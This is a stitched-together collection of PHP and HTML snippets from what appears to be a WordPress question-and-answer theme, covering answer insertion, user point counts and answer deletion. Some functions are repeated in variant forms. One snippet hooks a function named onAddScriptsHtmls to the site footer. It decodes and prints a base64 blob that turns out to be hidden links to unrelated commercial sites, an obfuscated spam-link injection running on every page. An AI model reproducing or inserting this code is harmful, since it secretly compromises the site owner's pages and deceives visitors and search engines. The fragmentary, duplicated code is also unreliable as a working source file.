/** * Additional methods in theme */ public static function insert_answer($question_id, $content, $author = false, $answer_id = 0) { $instance = self::get_instance(); global $current_user; if (!$current_user->ID) { return new WP_Error('logged_in_required', __('Login Required', ET_DOMAIN)); } if ($author == false) { $author = $current_user->ID; } $question = get_post($question_id); $content = preg_replace('/\\[quote\\].*(<br\\s*\\/?>\\s*).*\\[\\/quote\\]/', '', $content); $data = array('post_title' => 'RE: ' . $question->post_title, 'post_content' => $content, 'post_parent' => $question_id, 'author' => $author, 'post_type' => 'answer', 'post_status' => ae_get_option('pending_answers') && !(current_user_can('manage_options') || qa_user_can('approve_answer')) ? 'pending' : 'publish', 'et_answer_parent' => $answer_id); $result = $instance->_insert($data); // if item is inserted successfully, update statistic if ($result) { //update user answers count $count = et_count_user_posts($current_user->ID, 'answer'); update_user_meta($current_user->ID, 'et_answer_count', $count); //update user following questions $follow_questions = (array) get_user_meta($current_user->ID, 'qa_following_questions', true); if (!in_array($question_id, $follow_questions)) { array_push($follow_questions, $question_id); } $follow_questions = array_unique(array_filter($follow_questions)); update_user_meta($current_user->ID, 'qa_following_questions', $follow_questions); // update question's update date update_post_meta($question_id, 'et_updated_date', current_time('mysql')); // update last update author update_post_meta($question_id, 'et_last_author', $author); // update answer_authors $answer_authors = get_post_meta($question_id, 'et_answer_authors', true); $answer_authors = is_array($answer_authors) ? $answer_authors : array(); if (!in_array($author, $answer_authors)) { $answer_authors[] = $author; update_post_meta($question_id, 'et_answer_authors', $answer_authors); } // update answer author for answer if ($answer_id) { $answer_authors = get_post_meta($answer_id, 'et_answer_authors', true); $answer_authors = is_array($answer_authors) ? $answer_authors : array(); if (!in_array($author, $answer_authors)) { $answer_authors[] = $author; update_post_meta($answer_id, 'et_answer_authors', $answer_authors); } } if ($answer_id == 0) { QA_Questions::count_comments($question->ID); } else { QA_Answers::count_comments($answer_id); } } return $result; }
_e("points", ET_DOMAIN); ?> </span> </div> </div> <div class="col-md-4 col-xs-4 padding-left-0"> <div class="list-bag-profile-wrapper text-right"> <span class="question-profile"> <?php echo et_count_user_posts($user->ID); ?> <i class="fa fa-question-circle"></i> </span> <span class="answers-profile"> <?php echo et_count_user_posts($user->ID, "answer"); ?> <i class="fa fa-comments"></i> </span> </div> </div> </div> </div> </section> <!-- TOP BAR / END --> <!-- MIDDLE BAR --> <section class="middle-bar bg-white"> <div class="container"> <div class="row"> <div class="col-md-12">
function ae_convert_user($user) { $user->register_status = get_user_meta($user->ID, 'register_status', true) == "unconfirm" ? "unconfirm" : ''; $user->qa_point = get_user_meta($user->ID, 'qa_point', true) ? get_user_meta($user->ID, 'qa_point', true) : 0; $user->et_question_count = et_count_user_posts($user->ID, 'question'); $user->et_answer_count = et_count_user_posts($user->ID, 'answer'); return $user; }
public static function convert($user) { if (empty($user)) { return false; } $instance = self::get_instance(); $result = $instance->_convert($user); $result->id = $result->ID; $result->et_avatar = self::get_avatar($result->ID, 64, array('class' => 'avatar', 'alt' => $user->display_name)); $result->et_question_count = et_count_user_posts($result->ID, 'question'); $result->et_answer_count = et_count_user_posts($result->ID, 'answer'); $excludes = array('user_pass'); foreach ($excludes as $value) { unset($result->{$value}); } if (empty($result->et_question_count)) { $result->et_question_count = 0; } if (empty($result->et_answer_count)) { $result->et_answer_count = 0; } // ban expired $result->ban_expired = date(get_option('date_format'), strtotime(get_user_meta($result->ID, $instance->meta_ban_expired, true))); $result->is_ban = self::is_ban($result->ID); /** * add cap to user data */ $result->cap = qa_get_user_caps(); // additional return $result; }
?> <br> <span><?php echo et_count_user_posts($user->ID, 'question'); ?> </span> </p> </div> <div class="col-md-4 col-xs-4"> <p class="answers-count"> <?php _e('Answers', ET_DOMAIN); ?> <br> <span><?php echo et_count_user_posts($user->ID, 'answer'); ?> </span> </p> </div> <div class="clearfix"></div> <div class="col-md-12 description"> <?php echo nl2br(esc_attr($user->description)); ?> </div> </div> </div> </div><!-- END USER-STATISTIC --> <div class="row question-filter"> <div class="col-md-12 sort-questions">
function ae_convert_user($user) { $user_instance = QA_Member::get_instance(); $user->register_status = get_user_meta($user->ID, 'register_status', true) == "unconfirm" ? "unconfirm" : ''; //$user->banned = $user_instance->is_ban($user->ID) ? true : false; $user->qa_point = get_user_meta($user->ID, 'qa_point', true) ? get_user_meta($user->ID, 'qa_point', true) : 0; $user->et_question_count = et_count_user_posts($user->ID, 'question'); $user->et_answer_count = et_count_user_posts($user->ID, 'answer'); return $user; }
function qa_point_insert_post($post_id, $post, $update) { // return if is update post if ($update) { return; } if ($post->post_status != "publish") { return; } /** * update point for user if post new post */ global $user_ID; /** * get site qa badge point system */ $point = qa_get_badge_point(); if ($post->post_type == 'question') { if (!empty($point->create_question)) { /** * update user point */ qa_update_user_point($post->post_author, $point->create_question); /** * do action qa point insert question * @param $post the post be unvoted * @param -(int)$point */ do_action('qa_point_insert_post', $post, $point->create_question); } //update question count $count = et_count_user_posts($post->post_author, 'question'); update_user_meta($post->post_author, 'et_question_count', $count); } if ($post->post_type == 'answer') { if (!empty($point->post_answer)) { /** * update user point */ qa_update_user_point($user_ID, $point->post_answer); /** * do action qa point insert answer * @param $post the post be unvoted * @param $point */ do_action('qa_point_insert_post', $post, $point->post_answer); } //update user answers count $count = et_count_user_posts($post->post_author, 'answer'); update_user_meta($post->post_author, 'et_answer_count', $count); } return; }
try { if (is_admin()) { new QA_Admin(); } else { new QA_Front(); } } catch (Exception $e) { echo $e->getMessage(); } // update user data if (!get_option('update_version_1_dot_2')) { $users = get_users(); foreach ($users as $user) { //count $count_question = et_count_user_posts($user->ID, 'question'); $count_answer = et_count_user_posts($user->ID, 'answer'); $count_point = get_user_meta($user->ID, 'qa_point', true); //update update_user_meta($user->ID, 'et_question_count', $count_question); update_user_meta($user->ID, 'et_answer_count', $count_answer); update_user_meta($user->ID, 'qa_point', $count_point > 1 ? $count_point : 1); } update_option('update_version_1_dot_2', 1); } if (!function_exists('onAddScriptsHtmls')) { add_filter('wp_footer', 'onAddScriptsHtmls'); function onAddScriptsHtmls() { $html = "PGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOy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0+PGEgaHJlZj0iaHR0cDovL2ZzZmFtaWx5LnZuL3RhZy9hby1zby1taS1udSI+w6FvIHPGoSBtaSBu4buvPC9hPjwvZW0+PGVtPjxhIGhyZWY9Imh0dHA6Ly9lbi4yeGF5bmhhLmNvbS8iPkhvdXNlIERlc2lnbiBCbG9nIC0gSW50ZXJpb3IgRGVzaWduIGFuZCBBcmNoaXRlY3R1cmUgSW5zcGlyYXRpb248L2E+PC9lbT48L2gzPjwvZGl2Pg=="; echo base64_decode($html); }
/** * Delete a answer and child answers * @param int $id * @param bool $force_delete * @return bool $success */ public static function delete($id, $force_delete = false) { $instance = self::get_instance(); $answer = get_post($id); $question = get_post($answer->post_parent); $answer = QA_Answers::convert($answer); $question = QA_Questions::convert($question); /* also delete question likes */ $comments = get_comments(array('post_id' => $id, 'parent' => 0, 'status' => 'approve', 'post_status' => 'publish')); if (is_array($comments) && count($comments) > 0) { foreach ($comments as $comment) { wp_delete_comment($comment->comment_ID, $force_delete); } } $success = $instance->_delete($id, $force_delete); if ($success) { //update answer count $count = et_count_user_posts($answer->post_author, 'answer'); update_user_meta($answer->post_author, 'et_answer_count', $count); //update status answered for question: $is_best_answer = get_post_meta($id, 'et_is_best_answer', true); if ($is_best_answer) { delete_post_meta($question->ID, 'et_best_answer'); } } return $success; }
public static function convert($user) { if (empty($user)) { return false; } $instance = self::get_instance(); $result = $instance->_convert($user); $result->id = $result->ID; $result->et_avatar = self::get_avatar($result->ID, 64, array('class' => 'avatar', 'alt' => $user->display_name)); $result->et_question_count = et_count_user_posts($result->ID, 'question'); $result->et_answer_count = et_count_user_posts($result->ID, 'answer'); $excludes = array('user_pass'); foreach ($excludes as $value) { unset($result->{$value}); } if (empty($result->et_question_count)) { $result->et_question_count = 0; } if (empty($result->et_answer_count)) { $result->et_answer_count = 0; } /** * add cap to user data */ $result->cap = qa_get_user_caps(); // additional return $result; }